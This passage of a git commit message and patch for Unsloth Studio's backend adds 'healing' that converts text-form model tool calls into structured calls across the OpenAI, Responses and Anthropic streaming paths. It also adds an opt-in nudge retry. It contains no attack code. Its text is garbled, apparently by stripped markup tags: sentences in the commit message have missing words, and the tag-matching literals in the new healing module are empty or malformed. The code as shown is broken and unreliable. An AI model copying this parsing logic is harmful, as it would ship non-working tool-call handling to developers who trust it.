removes EXACTLY the promoted calls' markup. This supersedes the previous all-or-nothing rule: declared calls promote and every unpromoted byte (undeclared calls, unparseable closed blocks, suppressed alternate formats such as a block after a JSON call) relays as text. The stream healer also processes one block per pass, so text between two healed calls keeps its document position instead of trailing them. - The OpenAI chat stream shifts native tool-call delta indexes past any already-emitted healed calls; clients merge deltas by index, so a healed call and a later native call can no longer merge into one. - A healed call in the Responses stream closes the open message item and trailing text opens a fresh one with a later output index, matching the native stream shape; response.completed snapshots every message item with its own text. - The nudge retry only replaces the original response when the retry's structured call names a DECLARED tool; a hallucinated undeclared call is not an improvement. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: stop the heal path folding trailing prose into a closed function call parse_tool_calls_from_text(allow_incomplete=True) cut a body only at an end-anchored , so a fully closed call followed by trailing prose (.. words) folded and the prose into the tool argument and deleted the prose from visible content. The strict path (allow_incomplete=False) already cut at the real via rfind. Do the same in both modes: trim the body at the real when present and end the removal span there, falling back to the end-anchored strip and body_end only when the call is genuinely truncated. Add a regression test. * inference: one shared single-call budget for healed and native calls Codex round 5: the parallel-call caps counted healed and native calls separately, so a healed text-form call followed by a native structured delta double-emitted on all three streaming surfaces when the client disabled parallel calls. - OpenAI SSE: once a healed call went out with parallel_tool_calls false, native tool_call deltas are dropped instead of index-shifted. - Anthropic emitter: native deltas skip block allocation when the healed-plus-native count already filled the single slot, and healed emission counts open native states too. - Responses stream: native deltas that survived the chunk-level cap are skipped once a healed call claimed the slot. Also adds a span assertion for the closed- trailing-prose parse fixed in the previous commit. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: relay undeclared text-form calls as text on Anthropic non-streaming heal_openai_message promotes only declared text-form tool calls and span-trims just their markup, deliberately leaving every unpromoted byte (undeclared text-form calls included) in the content to relay as text. The Anthropic non-streaming builder then ran a blanket _TOOL_XML_RE strip over that content unconditionally, deleting the undeclared block before building the text part, so Anthropic clients silently lost a call the OpenAI non-streaming path preserves. The strip was harmless when healing was all-or-nothing but became data loss once healing turned span-exact. Gate the legacy strip on whether healing promoted a call, matching the OpenAI passthrough and the intent already stated in the comment above. Add a route-level regression test for the mixed declared+undeclared case. * inference: require fully declared nudge retries; keep unpromoted Anthropic text Codex round 6, two findings: - response_has_promotable_calls accepted a nudge retry when any one structured call named a declared tool, so a mixed retry (hallucinated undeclared call plus a declared one) replaced the original and the caller forwarded the undeclared call, or with parallel_tool_calls false could keep only it. All structured retry calls must be declared. - The Anthropic non-streaming builder still ran the legacy _TOOL_XML_RE strip after span-exact healing, deleting undeclared or malformed call text that healing deliberately preserved. The legacy strip now runs only when healing is off (no declared tools, or opted out), matching the OpenAI passthrough. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * inference: keep unpromoted Anthropic text whenever healing is active The previous commit skipped the legacy strip only when a call was actually promoted, so an undeclared-only (or malformed-only) response was still silently emptied: exactly the dead-turn shape this path exists to fix, and inconsistent with the OpenAI passthrough, which relays those bytes verbatim. Gate the strip on healing being active instead; opt-out and no-tools requests keep the legacy strip. * Fix schema-aware tool healing for PR #6801 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix passthrough healing ordering for PR #6801 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix stream finish ordering for PR #6801 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: wasimysaid Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com> --- .../core/inference/anthropic_compat.py | 147 +- .../core/inference/passthrough_healing.py | 535 +++++++ studio/backend/core/tool_healing.py | 186 +-- studio/backend/models/inference.py | 18 + studio/backend/routes/inference.py | 666 ++++++-- .../backend/tests/test_passthrough_healing.py | 1358 +++++++++++++++++ .../tests/test_responses_tool_passthrough.py | 174 +++ .../tests/test_tool_call_parser_strict.py | 37 + 8 files changed, 2919 insertions(+), 202 deletions(-) create mode 100644 studio/backend/core/inference/passthrough_healing.py create mode 100644 studio/backend/tests/test_passthrough_healing.py diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py index 0307336dde..7b572a28ff 100644 --- a/studio/backend/core/inference/anthropic_compat.py +++ b/studio/backend/core/inference/anthropic_compat.py @@ -494,6 +494,29 @@ class AnthropicPassthroughEmitter: self._usage: dict = {} self._stop_reason: str = "end_turn" self._stop_sequence: Optional[str] = None + # Optional text-form tool-call healing (client-tool passthrough only). + self._healer = None + self._healed_tool_use = False + self._healed_call_count = 0 + self._heal_disable_parallel = False + + def enable_healing( + self, + allowed_tools: set, + tools: Optional[list] = None, + *, + disable_parallel_tool_use: bool = False, + ) -> None: + """Promote text-form tool calls in streamed content to tool_use blocks. + + Only calls naming a tool in ``allowed_tools`` (the client's declared + tools) are promoted; everything else streams as text exactly as before. + Never enabled for Studio's own tool loop. + """ + from core.inference.passthrough_healing import StreamToolCallHealer + + self._healer = StreamToolCallHealer(allowed_tools, tools) + self._heal_disable_parallel = disable_parallel_tool_use def start( self, @@ -542,29 +565,42 @@ class AnthropicPassthroughEmitter: delta = choice.get("delta") or {} finish_reason = choice.get("finish_reason") + # ── Structured tool calls take precedence over healing ── + # Grammar mode worked: flush anything the healer held (it preceded the + # call in the model's output) and relay verbatim from here on. + if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant: + for kind, value in self._healer.structured_tool_call_seen(): + if kind == "text" and value: + events.extend(self._emit_text_delta(value)) + # ── Text content ── content = delta.get("content") - if content: - if self._current_block_type != "text": - if self._current_block_type is not None: - events.append(self._close_current_block()) - events.extend(self._open_text_block()) - events.append( - build_anthropic_sse_event( - "content_block_delta", - { - "type": "content_block_delta", - "index": self.block_index, - "delta": {"type": "text_delta", "text": content}, - }, - ) - ) + if content and self._healer is not None and not self._healer.dormant: + # Route text through the healer: held/promoted portions become + # synthetic tool_use blocks, the rest streams as text unchanged. + for kind, value in self._healer.feed(content): + if kind == "text": + events.extend(self._emit_text_delta(value)) + else: + events.extend(self._emit_healed_tool_use(value)) + elif content: + events.extend(self._emit_text_delta(content)) # ── Tool calls (streaming deltas) ── tool_calls = delta.get("tool_calls") or [] for tc in tool_calls: tc_idx = tc.get("index", 0) fn = tc.get("function") or {} + if ( + self._heal_disable_parallel + and tc_idx not in self._tool_call_states + and (self._healed_call_count + len(self._tool_call_states)) >= 1 + ): + # disable_parallel_tool_use: a healed call already consumed the + # single allowed slot. The caller's chunk-level cap only sees + # native indexes, so drop this native call (and its later + # argument deltas, which never allocate a state either). + continue if tc_idx not in self._tool_call_states: # New tool call — close prior block, open tool_use block if self._current_block_type is not None: @@ -618,6 +654,17 @@ class AnthropicPassthroughEmitter: def finish(self) -> list[str]: events: list[str] = [] + if self._healer is not None: + # Last-chance heal of any held residue (e.g. an unclosed tool block). + for kind, value in self._healer.finalize(): + if kind == "text" and value: + events.extend(self._emit_text_delta(value)) + elif kind == "tool_call": + events.extend(self._emit_healed_tool_use(value)) + if self._healed_tool_use and self._stop_reason != "max_tokens": + # A promoted call must stop for tool use; a truncation still wins + # (its arguments may be incomplete). + self._stop_reason = "tool_use" if self._current_block_type is not None: events.append(self._close_current_block()) events.append( @@ -641,6 +688,76 @@ class AnthropicPassthroughEmitter: ) return events + def _emit_text_delta(self, content: str) -> list[str]: + events: list[str] = [] + if self._current_block_type != "text": + if self._current_block_type is not None: + events.append(self._close_current_block()) + events.extend(self._open_text_block()) + events.append( + build_anthropic_sse_event( + "content_block_delta", + { + "type": "content_block_delta", + "index": self.block_index, + "delta": {"type": "text_delta", "text": content}, + }, + ) + ) + return events + + def _emit_healed_tool_use(self, call: dict) -> list[str]: + # A healed call arrives complete, so its tool_use block opens, carries + # one input_json_delta, and closes immediately; an open text block is + # closed first (only the safe prefix ever streamed into it). + if ( + self._heal_disable_parallel + and (self._healed_call_count + len(self._tool_call_states)) >= 1 + ): + # Healed and native calls share the single allowed slot. + return [] + events: list[str] = [] + if self._current_block_type is not None: + events.append(self._close_current_block()) + function = call.get("function") or {} + tool_id = anthropic_tool_use_id("") + self.block_index += 1 + self._current_block_type = "tool_use" + events.append( + build_anthropic_sse_event( + "content_block_start", + { + "type": "content_block_start", + "index": self.block_index, + "content_block": { + "type": "tool_use", + "id": tool_id, + "name": function.get("name", ""), + "input": {}, + }, + }, + ) + ) + arguments = function.get("arguments") or "" + if arguments: + events.append( + build_anthropic_sse_event( + "content_block_delta", + { + "type": "content_block_delta", + "index": self.block_index, + "delta": { + "type": "input_json_delta", + "partial_json": arguments, + }, + }, + ) + ) + events.append(self._close_current_block()) + self._healed_tool_use = True + self._healed_call_count += 1 + return events + def _open_text_block(self) -> list[str]: self.block_index += 1 self._current_block_type = "text" diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py new file mode 100644 index 0000000000..c73134b4a2 --- /dev/null +++ b/studio/backend/core/inference/passthrough_healing.py @@ -0,0 +1,535 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tool-call healing for the client-tool passthrough. + +With server-side tools disabled (``unsloth run --disable-tools``, every +``unsloth start`` coding agent), requests carrying the client's own ``tools`` +bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small +GGUF models often emit their tool calls as TEXT (``{...}``, +Gemma ``<|tool_call>...``, ```` XML) instead of structured +``tool_calls`` -- on the passthrough that text reaches the agent as prose and +the turn dies. This module promotes such text back into structured calls on the +RESPONSE side only: the upstream request body is never touched, no extra +generation is issued, so llama-server slot/KV-cache reuse is byte-identical. + +Healing only ever fires when the request declared client tools, and only +promotes calls whose function name exactly matches a declared tool. Promotion +removes EXACTLY the promoted calls' markup spans (the parser reports them): +undeclared calls, unparseable blocks, and suppressed alternate formats keep +every byte and relay as text, so healing can never silently delete model +output. Responses without a tool signal, requests without tools, and Studio's +own enable-tools loop are untouched. Per-request opt-out: +``auto_heal_tool_calls: false``. Process kill-switch: +``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``. +""" + +import json +import os +from collections.abc import Mapping +from typing import Any, Optional + +from core.inference.tool_call_parser import TOOL_XML_SIGNALS, has_tool_signal +from core.inference.tool_loop_controller import coerce_tool_arguments +from core.tool_healing import parse_tool_calls_from_text + +# Read once at import (same convention as the other UNSLOTH_* switches). +_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1" +# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process +# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator). +_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1" + + +def nudge_enabled(request_flag: Optional[bool]) -> bool: + return _NUDGE_DEFAULT if request_flag is None else bool(request_flag) + + +_MAX_SIGNAL_LEN = max(len(s) for s in TOOL_XML_SIGNALS) +# A suspected-but-unclosed tool block larger than this is declared a false +# alarm and flushed, bounding memory on a model rambling XML-lookalike text. +_MAX_HOLD_CHARS = 64 * 1024 + + +def heal_gate( + auto_heal: Optional[bool], + tools: Optional[list], + tool_choice: Any = None, +) -> Optional[set]: + """Return the declared client-tool name set when healing applies, else None. + + ``tools`` is the OpenAI-shaped list forwarded to llama-server + (``[{"type": "function", "function": {"name": ...}}, ...]``). The name set + doubles as the promotion allowlist so healed calls can never invent a tool + the client did not declare. + + ``tool_choice`` (OpenAI shape) constrains the allowlist so healing never + contradicts the request: ``"none"`` forbids tool calls outright (text-form + markup stays text), and a forced ``{"type": "function", "function": + {"name": N}}`` narrows promotion to that one function. ``"auto"`` / + ``"required"`` / absent keep the full declared set. + """ + if _HEALING_DISABLED or auto_heal is False: + return None + if tool_choice == "none": + return None + names = set() + for tool in tools or []: + if not isinstance(tool, dict): + continue + function = tool.get("function") + if isinstance(function, dict) and isinstance(function.get("name"), str): + names.add(function["name"]) + if isinstance(tool_choice, dict): + function = tool_choice.get("function") + forced = function.get("name") if isinstance(function, dict) else None + if isinstance(forced, str): + names &= {forced} + return names or None + + +def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]: + schemas: dict[str, Any] = {} + for tool in tools or []: + if not isinstance(tool, dict): + continue + function = tool.get("function") + if not isinstance(function, dict): + continue + name = function.get("name") + if isinstance(name, str): + schemas[name] = function.get("parameters") + return schemas + + +def _string_arg_key_from_schema(schema: Any) -> Optional[str]: + if not isinstance(schema, dict): + return None + properties = schema.get("properties") + required = schema.get("required") + if not isinstance(properties, dict) or not isinstance(required, list): + return None + required_names = [name for name in required if isinstance(name, str)] + if len(required_names) != 1: + return None + key = required_names[0] + + if key not in properties: + return None + prop_schema = properties.get(key) + if isinstance(prop_schema, dict): + prop_type = prop_schema.get("type") + if isinstance(prop_type, list): + if "string" not in prop_type: + return None + elif prop_type is not None and prop_type != "string": + return None + return key + + +def _coerce_promoted_arguments( + raw_args: Any, tool_name: str, tool_schemas: Optional[dict] +) -> Optional[dict]: + if isinstance(raw_args, Mapping): + return dict(raw_args) + if isinstance(raw_args, str): + try: + parsed = json.loads(raw_args) + if isinstance(parsed, Mapping): + return dict(parsed) + except (json.JSONDecodeError, ValueError): + pass + if tool_schemas is not None: + key = _string_arg_key_from_schema(tool_schemas.get(tool_name)) + return {key: raw_args} if key else None + coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name) + return coerced.arguments + + +def _promote( + calls: list, + allowed_tools: set, + id_offset: int = 0, + tool_schemas: Optional[dict] = None, +) -> list: + """Filter parsed calls to declared tools and normalize their arguments. + + Bare string arguments on the client-tool passthrough use the declared + schema's single required string property. If the schema is ambiguous, the + call stays text instead of inventing a generic key. + """ + promoted = [] + for call in calls: + function = call.get("function") if isinstance(call, dict) else None + name = function.get("name") if isinstance(function, dict) else None + if name not in allowed_tools: + continue + arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas) + if arguments is None: + continue + promoted.append( + { + "id": f"call_{id_offset + len(promoted)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(arguments, ensure_ascii = False), + }, + } + ) + return promoted + + +def _remove_spans(text: str, spans: list) -> str: + """Text with the given non-overlapping, sorted (start, end) ranges removed.""" + pieces = [] + pos = 0 + for start, end in spans: + pieces.append(text[pos:start]) + pos = end + pieces.append(text[pos:]) + return "".join(pieces) + + +def heal_openai_message_events( + msg: dict, + allowed_tools: set, + tools: Optional[list] = None, +) -> Optional[list]: + if not isinstance(msg, dict) or msg.get("tool_calls"): + return None + content = msg.get("content") + if not isinstance(content, str) or not has_tool_signal(content): + return None + parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True) + tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + events: list = [] + pos = 0 + call_count = 0 + for call, (start, end) in zip(parsed, spans): + promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas) + if promoted: + if content[pos:start]: + events.append(("text", content[pos:start])) + events.append(("tool_call", promoted[0])) + call_count += 1 + else: + events.append(("text", content[pos:end])) + pos = end + if not call_count: + return None + if content[pos:]: + events.append(("text", content[pos:])) + return events + + +def heal_openai_message( + msg: dict, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """Promote text-form tool calls in a non-streaming OpenAI message. In place. + + No-op (returns False) unless the message has NO structured ``tool_calls`` + (grammar mode already worked when it does) and its content carries a tool + signal that parses into at least one declared call. Only the promoted + calls' markup spans are removed from the content; undeclared calls and + anything the parser did not consume stay in the text byte-intact. + """ + events = heal_openai_message_events(msg, allowed_tools, tools) + if not events: + return False + calls = [value for kind, value in events if kind == "tool_call"] + content = "".join(value for kind, value in events if kind == "text").strip() + msg["tool_calls"] = calls + # OpenAI requires content = null on a pure tool-call turn. + msg["content"] = content or None + return True + + +def _earliest_signal(buffer: str) -> int: + best = -1 + for signal in TOOL_XML_SIGNALS: + index = buffer.find(signal) + if index >= 0 and (best < 0 or index < best): + best = index + return best + + +def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]: + spans = [] + for open_tag, close_tag in ( + ("", ""), + ("<|tool_call>", ""), + (""), + ): + start = buffer.find(open_tag) + if start < 0: + continue + end = buffer.find(close_tag, start) + if end >= 0: + spans.append((start, end + len(close_tag))) + return min(spans, key = lambda span: span[0]) if spans else None + + +def _partial_signal_suffix(buffer: str) -> int: + """Length of the longest buffer suffix that is a proper prefix of a signal.""" + for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1): + tail = buffer[-length:] + if any(signal.startswith(tail) for signal in TOOL_XML_SIGNALS): + return length + return 0 + + +class StreamToolCallHealer: + """Buffer-and-repair state machine for streamed passthrough content. + + ``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content + to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call + (string ``function.arguments``). Normal prose is forwarded immediately; only + a trailing partial-signal window (< max signal length) or a suspected tool + block is ever withheld, so streaming latency stays bounded. A false alarm + (the buffer can no longer become a parseable declared call) flushes the held + text verbatim. + """ + + def __init__( + self, + allowed_tools: set, + tools: Optional[list] = None, + ) -> None: + self._allowed = set(allowed_tools) + + self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + self._buffer = "" + self._holding = False + self._id_offset = 0 + # Structured delta.tool_calls seen upstream: grammar mode already + # worked, so healing goes dormant and text relays verbatim. + self.dormant = False + + @property + def healed(self) -> bool: + return self._id_offset > 0 + + def structured_tool_call_seen(self) -> list: + """Go dormant; flush anything held so no text is swallowed.""" + self.dormant = True + held, self._buffer, self._holding = self._buffer, "", False + return [("text", held)] if held else [] + + def feed(self, text: str) -> list: + if self.dormant: + return [("text", text)] if text else [] + self._buffer += text + return self._drain() + + def _drain(self) -> list: + events: list = [] + while True: + if not self._holding: + start = _earliest_signal(self._buffer) + if start >= 0: + if start: + events.append(("text", self._buffer[:start])) + self._buffer = self._buffer[start:] + self._holding = True + else: + keep = _partial_signal_suffix(self._buffer) + emit = self._buffer[: len(self._buffer) - keep] + if emit: + events.append(("text", emit)) + self._buffer = self._buffer[len(self._buffer) - keep :] + return events + # HOLD: handle the FIRST complete block per pass so events keep + # document order (a later declared call must not overtake an + # earlier undeclared one flushing as text). + parsed, spans = parse_tool_calls_from_text( + self._buffer, + id_offset = self._id_offset, + allow_incomplete = False, + with_spans = True, + ) + if not parsed: + closed_span = _closed_signal_span(self._buffer) + if closed_span: + _start, end = closed_span + events.append(("text", self._buffer[:end])) + self._buffer = self._buffer[end:] + self._holding = False + continue + if len(self._buffer) > _MAX_HOLD_CHARS: + events.append(("text", self._buffer)) + self._buffer = "" + self._holding = False + continue + return events + start, end = spans[0] + promoted = _promote( + [parsed[0]], + self._allowed, + id_offset = self._id_offset, + tool_schemas = self._tool_schemas, + ) + if promoted: + if start: + events.append(("text", self._buffer[:start])) + events.append(("tool_call", promoted[0])) + self._id_offset += 1 + # Drop exactly the promoted markup span; everything else + # (leading text, later blocks) stays and is rescanned. + self._buffer = self._buffer[end:] + else: + # Undeclared or unusable name: its markup is DATA, flush it + # (and anything before it) verbatim, then rescan the rest. + events.append(("text", self._buffer[:end])) + self._buffer = self._buffer[end:] + self._holding = False + + def finalize(self) -> list: + """End of stream: last-chance heal of the residue, else flush it. + + Events keep document order; only the promoted calls' markup spans are + dropped, every other residue byte flushes as text. + """ + if not self._buffer: + return [] + residue, self._buffer = self._buffer, "" + holding, self._holding = self._holding, False + if self.dormant or not holding: + return [("text", residue)] + parsed, spans = parse_tool_calls_from_text( + residue, + id_offset = self._id_offset, + allow_incomplete = True, + with_spans = True, + ) + events: list = [] + pos = 0 + any_promoted = False + for call, (start, end) in zip(parsed, spans): + promoted = _promote( + [call], + self._allowed, + id_offset = self._id_offset, + tool_schemas = self._tool_schemas, + ) + if promoted: + if residue[pos:start]: + events.append(("text", residue[pos:start])) + events.append(("tool_call", promoted[0])) + self._id_offset += 1 + any_promoted = True + else: + events.append(("text", residue[pos:end])) + pos = end + if not any_promoted: + return [("text", residue)] + tail = residue[pos:].strip() + if tail: + events.append(("text", tail)) + return events + + +def _first_choice_message(data: Any) -> Optional[dict]: + """First-choice message dict of a non-streaming chat response, else None. + + Upstream error bodies can carry ``"message": null`` (or no choices at all), + so never assume the shape: a non-dict message means "nothing to heal". + """ + try: + message = data["choices"][0]["message"] + except (KeyError, IndexError, TypeError): + return None + return message if isinstance(message, dict) else None + + +def _last_assistant_text(data: Any) -> str: + """First-choice assistant content of a non-streaming chat response, or ''.""" + message = _first_choice_message(data) + content = message.get("content") if message else None + return content if isinstance(content, str) else "" + + +def _heal_would_promote( + text: str, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """Whether ``heal_openai_message`` would promote at least one call.""" + parsed = parse_tool_calls_from_text(text, allow_incomplete = True) + tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas)) + + +def response_has_promotable_calls( + data: Any, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """True when a non-streaming chat response carries a usable tool call + (structured naming a DECLARED tool, or text-form that healing would + promote). Used to decide whether a nudge retry actually improved on the + original response; a hallucinated undeclared call is not an improvement.""" + message = _first_choice_message(data) + if not message: + return False + tool_calls = message.get("tool_calls") + if tool_calls: + # ALL structured calls must be declared: the caller forwards the whole + # list (and a parallel cap could keep only the FIRST one), so a mixed + # response with a single hallucinated name could still hand the client + # an undeclared tool. + return all( + isinstance(tc, dict) + and isinstance(tc.get("function"), dict) + and tc["function"].get("name") in allowed_tools + for tc in tool_calls + ) + text = message.get("content") + if not isinstance(text, str): + return False + return _heal_would_promote(text, allowed_tools, tools) + + +def nudge_should_retry( + data: Any, + allowed_tools: Optional[set], + tools: Optional[list] = None, +) -> bool: + """True when the first response tried to call a tool but nothing healed. + + Trigger only on: healing enabled (allowed_tools set), zero structured + calls, a tool signal present in the text, and zero promotable calls -- the + exact failure a single re-ask can fix. Clean prose never retries. + """ + if not allowed_tools: + return False + message = _first_choice_message(data) + if not message or message.get("tool_calls"): + return False + text = message.get("content") + if not isinstance(text, str) or not has_tool_signal(text): + return False + return not _heal_would_promote(text, allowed_tools, tools) + + +def nudge_messages(data: Any, allowed_tools: set) -> list: + """The two-message suffix appended for the single nudge retry. + + The retry body is the original body plus this suffix, so the prompt prefix + is byte-identical and llama-server's slot/prefix cache is reused (same + shape as the enable-tools loop's reprompt). + """ + tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool" + return [ + {"role": "assistant", "content": _last_assistant_text(data)}, + { + "role": "user", + "content": ( + "You have access to the declared tools. If a tool is needed to " + f"complete the action you described, call {tool_hint} now using the " + "native tool-call format with valid JSON arguments, not prose. If no " + "tool is needed, provide the final answer directly." + ), + }, + ] diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py index fe26d48c7f..e8367ad08c 100644 --- a/studio/backend/core/tool_healing.py +++ b/studio/backend/core/tool_healing.py @@ -301,28 +301,28 @@ def parse_tool_calls_from_text( *, id_offset: int = 0, allow_incomplete: bool = True, -) -> list[dict]: + with_spans: bool = False, +): """Parse OpenAI-format tool calls from model text. Handles formats like: {"name":"web_search","arguments":{"query":"..."}} <|tool_call>call:web_search{query:"..."} ... + + With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]`` + is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup + in ``content`` (including its close tag when present), so a caller can + remove exactly the parsed markup and keep every other byte intact. """ tool_calls: list[dict] = [] - # Collect JSON- and Gemma-format candidates with their byte spans, then - # accept them in document order. Both order and spans matter: - # * tools execute in returned order, so a call appearing earlier in the - # text must be emitted first even across the two formats; - # * a tool-call marker INSIDE another call's argument string is data, not a - # call, so a candidate starting within an already accepted span is - # skipped (covers a JSON marker nested in a Gemma arg and a Gemma marker - # nested in a JSON arg alike, regardless of which format is outer). + call_spans: list[tuple] = [] + # Collect every supported call format with spans, then emit in document + # order. A marker inside another call's argument string is data, not a + # separate executable call. + parsed_items = [] # (start, span_end, name, arguments) candidates = [] # (start, brace_end, kind, match) for m in _TC_JSON_START_RE.finditer(content): - # A marker that begins inside an open value - # is that parameter's data, not its own call; skip it (same guard the - # XML-style parser below applies to nested = 0: + span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG) + body = body[:close_idx] + elif not allow_incomplete: + continue + else: + body = _TC_FUNC_CLOSE_RE.sub("", body) + span_end = body_end + + arguments: dict = {} + param_starts = list(_TC_PARAM_START_RE.finditer(body)) + if len(param_starts) == 1: + pm = param_starts[0] + val = body[pm.end() :] + if not allow_incomplete: + stripped_val = val.rstrip() + if not stripped_val.endswith(_PARAM_CLOSE_TAG): + continue + val = stripped_val[: -len(_PARAM_CLOSE_TAG)] + else: + val = _TC_PARAM_CLOSE_RE.sub("", val) + arguments[pm.group(1)] = val.strip() + else: + valid_params = True + for pidx, pm in enumerate(param_starts): + param_name = pm.group(1) + val_start = pm.end() + next_param = ( + param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body) + ) + val = body[val_start:next_param] + if not allow_incomplete: + stripped_val = val.rstrip() + if not stripped_val.endswith(_PARAM_CLOSE_TAG): + valid_params = False + break + val = stripped_val[: -len(_PARAM_CLOSE_TAG)] + else: + val = _TC_PARAM_CLOSE_RE.sub("", val) + arguments[param_name] = val.strip() + if not valid_params: + continue + + span_start = fm.start() + wrap_open = re.search(r"\s*$", content[:span_start]) + wrap_close = re.match(r"\s*", content[span_end:]) + if wrap_open and wrap_close: + span_start = wrap_open.start() + span_end += wrap_close.end() + parsed_items.append((span_start, span_end, func_name, json.dumps(arguments))) + + parsed_items.sort(key = lambda item: item[0]) + for start, span_end, name, arguments in parsed_items: tool_calls.append( { "id": f"call_{id_offset + len(tool_calls)}", @@ -369,77 +443,9 @@ def parse_tool_calls_from_text( "function": {"name": name, "arguments": arguments}, } ) - - if not tool_calls: - func_starts = [ - fm - for fm in _TC_FUNC_START_RE.finditer(content) - if not _inside_open_parameter(content, fm.start()) - ] - for idx, fm in enumerate(func_starts): - func_name = fm.group(1) - body_start = fm.end() - next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) - end_tag = _TC_END_TAG_RE.search(content[body_start:]) - if end_tag: - body_end = body_start + end_tag.start() - else: - body_end = len(content) - body_end = min(body_end, next_func) - body = content[body_start:body_end] - if not allow_incomplete: - close_idx = body.rfind(_FUNC_CLOSE_TAG) - if close_idx < 0: - continue - body = body[:close_idx] - else: - body = _TC_FUNC_CLOSE_RE.sub("", body) - - arguments: dict = {} - param_starts = list(_TC_PARAM_START_RE.finditer(body)) - if len(param_starts) == 1: - pm = param_starts[0] - val = body[pm.end() :] - if not allow_incomplete: - stripped_val = val.rstrip() - if not stripped_val.endswith(_PARAM_CLOSE_TAG): - continue - val = stripped_val[: -len(_PARAM_CLOSE_TAG)] - else: - val = _TC_PARAM_CLOSE_RE.sub("", val) - arguments[pm.group(1)] = val.strip() - else: - valid_params = True - for pidx, pm in enumerate(param_starts): - param_name = pm.group(1) - val_start = pm.end() - next_param = ( - param_starts[pidx + 1].start() - if pidx + 1 < len(param_starts) - else len(body) - ) - val = body[val_start:next_param] - if not allow_incomplete: - stripped_val = val.rstrip() - if not stripped_val.endswith(_PARAM_CLOSE_TAG): - valid_params = False - break - val = stripped_val[: -len(_PARAM_CLOSE_TAG)] - else: - val = _TC_PARAM_CLOSE_RE.sub("", val) - arguments[param_name] = val.strip() - if not valid_params: - continue - - tc = { - "id": f"call_{id_offset + len(tool_calls)}", - "type": "function", - "function": { - "name": func_name, - "arguments": json.dumps(arguments), - }, - } - tool_calls.append(tc) + call_spans.append((start, span_end)) + if with_spans: + return tool_calls, call_spans return tool_calls diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py index 4a3162b09e..31c100dbec 100644 --- a/studio/backend/models/inference.py +++ b/studio/backend/models/inference.py @@ -780,6 +780,16 @@ class ChatCompletionRequest(BaseModel): True, description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.", ) + nudge_tool_calls: Optional[bool] = Field( + None, + description = ( + "[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the " + "model emitted a tool signal that healing could not repair, retry ONCE with " + "a short nudge appended (the retry shares the full prompt prefix, so the " + "server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips " + "the process default." + ), + ) context_overflow: Optional[Literal["error", "truncate_middle"]] = Field( None, description = ( @@ -1612,6 +1622,14 @@ class AnthropicMessagesRequest(BaseModel): False, description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.", ) + auto_heal_tool_calls: Optional[bool] = Field( + True, + description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).", + ) + nudge_tool_calls: Optional[bool] = Field( + None, + description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).", + ) model_config = {"extra": "allow"} @model_validator(mode = "before") diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index a948a6eaf5..ccf36e8f71 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -1135,6 +1135,16 @@ from core.inference.key_exchange import decrypt_api_key from core.inference.model_ids import public_model_id from core.inference.api_monitor import api_monitor from core.inference.llama_http import nonstreaming_client +from 